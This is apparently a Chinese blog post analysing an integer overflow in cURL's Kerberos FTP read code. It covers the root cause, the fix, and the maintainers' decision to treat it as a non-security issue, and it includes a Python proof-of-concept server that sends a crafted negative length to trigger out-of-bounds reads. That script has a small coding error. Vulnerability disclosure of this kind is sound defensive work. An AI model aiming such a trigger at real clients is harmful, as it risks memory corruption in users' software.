cURL Kerberos FTP整数溢出漏洞分析

本文详细分析了cURL库中krb5_read_data函数存在的整数溢出漏洞,该漏洞可导致缓冲区溢出和内存破坏。文章包含漏洞原理、复现步骤、修复方案及开发团队的处理决策。

漏洞概述

在cURL的krb5_read_data()函数中发现两个关键问题:

问题一:整数溢出导致缓冲区越界读取

1
2
3
len = (int)ntohl((uint32_t)len);
if(len > CURL_MAX_INPUT_LENGTH)
  return CURLE_TOO_LARGE;

len值经过网络字节序转换后变为负数时,会绕过长度检查。后续代码:

1
2
3
char buffer[1024];
nread = CURLMIN(len, (int)sizeof(buffer));
result = socket_read(data, sockindex, buffer, (size_t)nread);

如果len为-1,nread将被转换为(size_t)-1(极大的数值),最终传递给recv()函数,导致越界读取。

问题二:解码逻辑错误

代码中的do-while循环在len非零时持续执行,但循环结束后将len=0传递给decode()函数,而正确的参数应该是curlx_dyn_len(&buf->buf)

影响版本

自该功能引入以来的所有cURL版本。

复现步骤

服务端代码(repro_server.py)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

客户端测试代码

完整的测试代码模拟了漏洞触发条件,演示了内存分配失败和内核限制导致的错误。

漏洞利用性分析

虽然存在缓冲区溢出,但由于内核对recv()调用的大小限制,实际利用可能受限。测试显示系统会返回"Bad address"错误。

修复方案

开发团队提供了修复补丁,主要改动包括:

  • len类型从int改为uint32_t
  • 修复解码函数的参数传递
  • 完善类型转换和边界检查

最终处理决策

cURL团队决定不将此问题归类为安全漏洞,主要原因是:

  1. 存在漏洞的代码自8.8.0版本起已因解码bug而无法正常工作
  2. 没有证据表明该功能被实际使用
  3. 计划完全移除Kerberos FTP支持以彻底解决问题

时间线

  • 2025-09-16:漏洞报告提交
  • 2025-09-18:报告公开披露
  • 状态:Informative(信息性),非安全漏洞
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计